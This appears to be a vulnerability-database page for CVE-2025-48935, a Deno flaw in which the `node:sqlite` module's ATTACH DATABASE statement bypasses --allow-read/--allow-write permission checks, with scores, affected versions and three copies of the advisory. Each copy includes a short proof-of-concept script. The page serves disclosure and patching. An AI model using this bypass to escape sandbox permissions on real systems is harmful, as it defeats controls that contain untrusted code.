CVE-2025-48935
published 2025-06-04CVE-2025-48935: Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission…
PriorityP350critical9.1CVSS 3.1
AVNACLPRNUINSUCHIHAN
EPSS
0.47%
39.7th percentile
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| deno | deno | >= 2.2.0 < 2.2.5 | 2.2.5 |
| deno | deno | >= 2.2.0 < 2.2.5 | 2.2.5 |
| denoland | deno | — | — |
CVSS provenance
nvdv3.19.1CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
nvdv4.05.5MEDIUMCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
osv·2025-06-04
CVE-2025-48935 [MEDIUM] Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
## Summary
It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.
## PoC
```js
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
```
```
$ deno poc.js
```
GHSA
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
ghsa·2025-06-04
CVE-2025-48935 [MEDIUM] CWE-863 Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
## Summary
It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.
## PoC
```js
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
```
```
$ deno poc.js
```
OSV
--allow-read / --allow-write permission bypass in `node:sqlite`
osv·2025-06-03
CVE-2025-48935 --allow-read / --allow-write permission bypass in `node:sqlite`
--allow-read / --allow-write permission bypass in `node:sqlite`
It is possible to bypass Deno's read/write permission
checks by using ATTACH DATABASE statement.
## PoC
```
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
```
```
$ deno poc.js
```
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
2025-06-04
Published